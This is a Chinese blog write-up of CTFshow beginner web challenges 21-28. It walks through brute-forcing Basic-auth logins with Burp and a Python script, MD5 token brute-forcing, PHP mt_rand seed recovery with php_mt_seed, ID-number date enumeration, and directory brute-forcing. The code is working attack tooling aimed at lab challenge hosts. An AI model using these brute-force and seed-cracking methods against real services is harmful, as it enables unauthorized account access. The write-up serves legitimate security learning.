CTFshow——web入门——爆破web21-web28 详细Writeup

最新推荐文章于 2023-09-23 08:32:51 发布
最新推荐文章于 2023-09-23 08:32:51 发布
阅读量259 收藏 1
点赞数 1
分类专栏： CTFshow 文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Leaf_initial/article/details/132048021
版权

web21

爆破什么的，都是基操

image-20230801133040217
要求我们登录，但是什么都没给，只能通过爆破来登录

利用题目给我们的字典和burp进行爆破，先抓包

image-20230801133535212

查看请求头看见账号密码是以base64编码形式发送的，解密一下可看见格式是账号:密码，先发送到Intruder中

image-20230801134511161

攻击方式选择狙击手(Sniper)，将要爆破的字段添加变量，然后点击Payloads
image-20230801134801865

接下来开始爆破，选择自定义迭代器，猜测用户名是admin，并且:也是固定的

在位置1添加admin:

image-20230801135113979

位置2导入密码字典

image-20230801135200267

在下面有效负载处理添加base64编码

image-20230801135242419

注意不要选择url编码字符

image-20230801135303129

然后返回点开始攻击

image-20230801135824484

爆破出结果后按照长度排序（不然很难找），得到flag

image-20230801135805073

也可以用脚本来爆破

import time
import requests
import base64

url = 'http://f3975ea2-66c3-456e-9161-3284b75296e5.challenge.ctf.show/index.php'

password = []

with open("1.txt", "r") as f:  
	while True:
	    data = f.readline() 
	    if data:
	    	password.append(data)
	    else:
	      break
	    


for p in password:
	strs = 'admin:'+ p[:-1]
	header={
		'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))
	}
	rep =requests.get(url,headers=header)
	time.sleep(0.2)
	if rep.status_code ==200:
		print(rep.text)
		break

跑出结果

image-20230801140119443

web22

域名也可以爆破的，试试爆破这个ctf.show的子域名

但是域名更新后，flag.ctf.show域名失效

内容是flag{ctf_show_web}，直接交就可以了

web23

还爆破？这么多代码，告辞！

打开后得到源码

<?php
error_reporting(0);

include('flag.php');
if(isset($_GET['token'])){
    $token = md5($_GET['token']);
    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
            echo $flag;
        }
    }
}else{
    highlight_file(__FILE__);

}
?>

简单阐述一下要求，需要我们传入名为token的值，该值经过md5加密后要他的第1,14,17位的值都相等，并且第1，14，17，31的值是整数并且第1,14,17位的值相加之后除以第1位的值等于第31位的值

也就是第一位=第十四位=第十七位，（第一位+第十四位+第十七位）/第一位=第三十一位

所以按理来说我们手打肯定是手打不出来的，只能进行爆破，可以用burpsuite也可以用python脚本爆破

利用python脚本进行爆破

import requests

a = "abcdefghijklmnopqrstuvwxyz0123456789"
for i in a:
    for j in a:
        url ="http://048957b6-3785-4da9-8d0c-d03fcbc11f40.challenge.ctf.show/?token="+str(i)+str(j)
        req = requests.get(url=url).text
        if "ctf" in req:
            print(req)
            exit()
        else:
            print(url)

#3j
#此方法爆破较慢

运行后得到flag

image-20230801141546755

或者我们根据源代码编写可以直接得出token值的脚本

import hashlib

a = '0123456789abcdefghijklmnopqrstuvwxyz'
for i in a:
	for j in a:
		t = (str(i)+str(j)).encode('utf-8')
		md5 = hashlib.md5(t).hexdigest()
		if md5[1:2] == md5[14:15] == md5[17:18]:
			if (int(md5[1:2])+int(md5[14:15])+int(md5[17:18]))/int(md5[1:2]) == int(md5[31:32]):
				print(t)
                
#运行后得到3j

然后构造payload：

http://048957b6-3785-4da9-8d0c-d03fcbc11f40.challenge.ctf.show/?token=3j

得到flag

web24

爆个🔨

打开环境得到源码

<?php 
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(372619038);
    if(intval($r)===intval(mt_rand())){
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}

?>

看到mt_scrand便可以知道伪随机数

mt_scrand(seed)这个函数的意思，是通过分发seed种子，然后种子有了后，靠mt_rand()生成随机 数。 提示：从 PHP 4.2.0 开始，随机数生成器自动播种，因此没有必要使用该函数 因此不需要播种，并且如果设置了 seed参数 生成的随机数就是伪随机数，意思就是每次生成的随机数 是一样的

直接运行

<?php
mt_srand(372619038);
echo mt_rand();
?>
    
#1155388967

传参给r，payload：

http://da6cb045-cbb6-455e-a455-416260094822.challenge.ctf.show/?r=1155388967

访问后得到flag

web25

爆个🔨，不爆了

打开环境后得到源码

<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(hexdec(substr(md5($flag), 0,8)));
    $rand = intval($r)-intval(mt_rand());
    if((!$rand)){
        if($_COOKIE['token']==(mt_rand()+mt_rand())){
            echo $flag;
        }
    }else{
        echo $rand;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}

代码解释

  1. mt_srand(hexdec(substr(md5($flag), 0,8)));: 这里使用 $flag 变量的值前八位经过md5加密并通过hexdec转换为十进制后作为种子来初始化 Mersenne Twister 随机数生成器 (mt_srand函数)。

  2. $rand = intval($r) - intval(mt_rand());: 这一行生成一个随机数并将其保存在 $rand 变量中。它首先将 “r” 参数转换为整数，并从这个整数中减去由 Mersenne Twister 生成的随机整数

  3. if ((!$rand)) { ... } else { ... }: 这是另一个条件判断。如果 $rand 的值为0（也就是说 “r” 参数与生成的随机数相等），则进入 if 块，否则进入 else 块。

  4. if ($_COOKIE['token'] == (mt_rand() + mt_rand())) { ... }: 在进入 if 块中之前，会检查 $_COOKIE['token'] 是否等于两次调用 Mersenne Twister 生成的随机整数之和。

所以条件还是很苛刻的，但是我们这里不需要来爆破cookie的值

解释一下为什么每一次的mt_rand()+mt_rand()不是第一次的随机数相加，因为生成的随机数可以说是一个线性变换（实际上非常复杂），每一次是确定的但是并不一样，所以不能 进行第一次*2就得到mt_rand()+mt_rand()，所以说只要我们得到种子就可以在本地进行获得自己想要的值解题

通过?r=0得到随机数，这里我得到的是-498526549（因为flag的值不一样），把负号去掉就是498526549

image-20230801160150210

这里利用php_mt_seed反解可能存在的seed值

php_mt_seed是c语言编写的爆破随机数序列种子的工具。

其项目官网为：https://www.openwall.com/php_mt_seed/

github地址为：https://github.com/openwall/php_mt_seed

Linux安装在shell界面输入

git clone https://github.com/openwall/php_mt_seed.git #kali
cd php_mt_seed
make
time ./php_mt_seed 498526549						#这里替换成自己得到的值

得到种子

image-20230801160733900

这里我们得到的只是种子，运行脚本得到MT生成的随机数

<?php
mt_srand(602248335);
echo mt_rand()."\n";
echo mt_rand()+mt_rand();

运行得到结果

image-20230801160935065

可以看到第一个随机数是当我们?r=0的时候的值，但是每个种子第二个值是不同的

运行的时候注意一下自己的php版本，从返回的数据包可以看出是php7，所以运行的时候也要用php7，用php5跑出来的结果不对

种子第一个值相同，但是第二个值不同，如果token传进去没有爆出flag，就换一个种子

传入值，使r=498526549,token=2174216893

关于这里为什么要?r=1506176142

因为

 if((!$rand)){
       if($_COOKIE['token']==(mt_rand()+mt_rand())){
           echo $flag;
       }

只有在rand不存在时，_COOKIE[‘token’]==(mt_rand()+mt_rand() 才能执行，而1506176142是我们在传?r=0时页面输出的随机数，此时的rand = mt_rand()即第一个生成的随机数，因此只要我们使r=mt_rand()=1506176142，就能让$rand=0，从而执行接下来的代码

利用burp发包，得到flag

web26

这个可以爆

点击同意协议后可以看到源代码

image-20230801161511663

利用burp抓包，但是不知道为什么值为空的时候是可以得到flag的

image-20230801161725970
按正常操作来一次，这里输入之后会有回显

image-20230801163601073

Unicode解码一下

image-20230801163718574

应该是密码不正确，利用密码字典进行爆破，流程比第一题简单

爆破出来密码是7758521，输入得到flag

image-20230801164628963

web27

CTFshow菜鸡学院招生啦！

image-20230801170640094

学生学籍信息查询系统，可以通过姓名和身份证号来进行查询

image-20230801170720742

下载录取名单，发现身份证号少了出生年月日

image-20230801170749771

我们需要爆破出生年月日，先利用burp抓包，然后进行爆破

将中间的未知部分添加变量

image-20230801171131714

将有效载荷类型选为date，然后设置日期，格式变成yyyyMMdd，然后开始爆破

image-20230801171419657

爆破得到结果

image-20230801173604922

621022199002015237，身份证号

这里不要用火狐抓包打这道题，有点问题，用Chrome

可以看看返回头

image-20230801173708272

Unicode解码一下

image-20230801173739197

根据提示输入账号密码，得到flag

image-20230801173916132
也可以脚本跑出生年月日

<?php
//621022********5237
$myfile = fopen("zid.txt", "w") or die("Unable to open file!");
for($year=1990;$year<1993;$year++){
for($mon=1;$mon<10;$mon++){
for($day=01;$day<10;$day++)
{
$txt=('621022'.$year.'0'.$mon.'0'.$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
or($year=1990;$year<1993;$year++){
for($mon=1;$mon<10;$mon++){
for($day=10;$day<=31;$day++)
{
$txt=('621022'.$year."0".$mon.$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
or($year=1990;$year<1993;$year++){
for($mon=10;$mon<=12;$mon++){
for($day=10;$day<=31;$day++)
{
$txt=('621022'.$year.$mon.$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
or($year=1990;$year<1993;$year++){
for($mon=10;$mon<=12;$mon++){
for($day=01;$day<10;$day++)
{
$txt=('621022'.$year.$mon."0".$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
close($myfile);

web28

大海捞针

观察url

image-20230801175228654

猜测是爆破目录，所以利用burp抓包然后爆破

爆破的时候只爆破目录即可，把2.txt去掉，攻击模式选择集束炸弹(Clusterbomb)

image-20230801175640934

然后两个载荷全部配置成数值，范围是0-100

image-20230801175723465

image-20230801175747451

开始攻击，爆破得出flag
image-20230801175959734

Leafzzz__
关注
  • 1
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
2022-工大抗疫-web-writeup1
08-03
2022-工大抗疫-web-writeup1
bugkuctf解题-WEB
05-04
bugku writeup，web解题writeup，根据网上的writeup自行解题后整理的日记，与大家分享，大家有新方法的也可以评论中告诉我，共同进步。——CTF菜鸟敬上。
《CTFshow-Web入门》03. Web 21~30
学习学习学习......
11-25 1299
用户名密码爆破、域名爆破、PHP 代码分析、PHP 伪随机数及其逆推、burpsuite 暴力破解、eval() 利用与正则绕过。
CTFSHOW web入门——web21
m0_74093152的博客
02-21 273
CTFSHOWweb入门——web21
ctfshow学习记录-web入门（爆破21-28）
龟速更新的九某人
06-01 418
ctfshow学习记录-web入门（web21-28）
ctfshow-web入门——爆破（web21-web28）
m0_62905745的博客
04-14 1880
本篇文章是ctfshow的web入门部分的爆破wp（web21-web 28），包括一些题目解答，自己的笔记和总结，有错误还希望大家指正，一起学习吖
渗透测试-ctfshow 爆破(web入门）
保持微笑的博客
12-29 4836
渗透测试-ctfshow 爆破(web入门）
ctfshow web入门（21-28爆破）
最新发布
2202_75317918的博客
09-23 466
ctfshow web入门（21-28爆破）
CTFshow web入门——爆破
小元砸的博客
01-24 4547
web 21 一.涉及工具： burp suit burp suit 使用教程 二.解题思路： 1.随便输一个密码和用户名抓包一下 2.base64解密一下发现账号密码的形式为 账号：密码，根据题目提示我们用自定义迭代器爆破，使用方法参考：Custom iterator的使用 注：下面爆破用的字典是题目所提供的 3.爆破出结果 web 22 一.涉及知识点： 子域名爆破（此题不能爆破出来）在线子域名爆破 二.解题思路： 直接点开View Hint（提示）即可得到答案 web 23 一.涉及工具： p
web入门——ctfshow（21-28）爆破
weixin_73668856的博客
12-03 460
web 入门
ctfshow web入门爆破web21-28wp
kinakouni的博客
02-21 421
入门几个月的萌新CTFer，记录下自己做题的wp。
2019.4 DDCTF web题--滴 writeup
04-14
DDCTF，2019年4月比赛，web题，第一题--滴 writeup，及flag。
web漏洞挖掘快速入门1
08-08
3. 通过 zmpap 全网爆破查询真实 ip（可靠） 4. 子域名爆破，现在越来越不靠谱了 5. 通过扫描出网站测试文件如 phpinfo，test 等配置文
[2021东华杯]Web Writeup1
08-03
[2021东华杯]Web Writeup1
CTFshow-web入门爆破（21-28）
i_kei的博客
12-13 6645
web21 用burp抓包 输入的账户名和密码被base64加密了，用burp自带解密发现账户名和密码之间用冒号隔开了，接下来构造payload 分别选中账户名和密码，我这里选择把冒号放到了账户名那里，放到密码也可以，只是一会儿加前缀和后缀的区别 payload1(账户名)：先导入题目提供的字典，然后加后缀冒号，再用base64加密 payload2(密码)：导入提供的字典，base64加密 payload1和payload2都需要取消勾选 构造完之后，发现需要爆破的条目数太大了，经过群里大佬
CTFshow web入门 web28~web40 命令执行
qq_56815564的博客
04-12 416
这里可以使用的是data伪协议 data://text/plain，这个相当于执行了php语句，后面跟上的 “.php” 因为前面的php语句已经闭合了，所以后面跟上的 “.php” 会被当成html页面直接显示在页面上，起不到什么作用。很明显，flag应该就在flag.php里，但不能直接访问flag.php 因为不能直接输入字符flag，被过滤了。而filter协议和php://input如果要传的话，必须出现具体的文件名，而flag被过滤了，所以不能用。另外这里的eval($c);
[ctfshow]web入门——爆破（web23-web28）
ShenZ的博客
11-28 1361
文章目录web23web24web25web26web27web28 web23 源码 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-03 11:43:51 # @Last Modified by: h1xa # @Last Modified time: 2020-09-03 11:56:11 # @email: [email protected] # @link: https://ctfer.com */ e
CTFshow 爆破 web27
Kradress的博客
10-28 382
点击录取名单可以得到一份表格，然后根据姓名身份证在学生学籍信息查询系统查询。中间八位是出生年月日，我们可以用bp爆破，前四位年份1980-2021 月份01-12 日期1-30
通过CTFShow例题掌握爆破方法
qq_54502707的博客
01-28 2910
大家好，这里是KOKO师傅~ 之前我们以CTFShow的例题对信息收集类WEB题目进行了针对练习，今天我们继续进行爆破模块的针对练习！
ctfshow web80
09-21
根据提供的引用内容，ctfshow web80是一道CTF题目。关于该题目的具体解法和原理，我无法给出准确的答案，因为引用中...但是你可以参考九枕-ctfshow学习记录-web入门中的相关内容来了解更多关于ctfshow web80的信息。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Leafzzz__

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值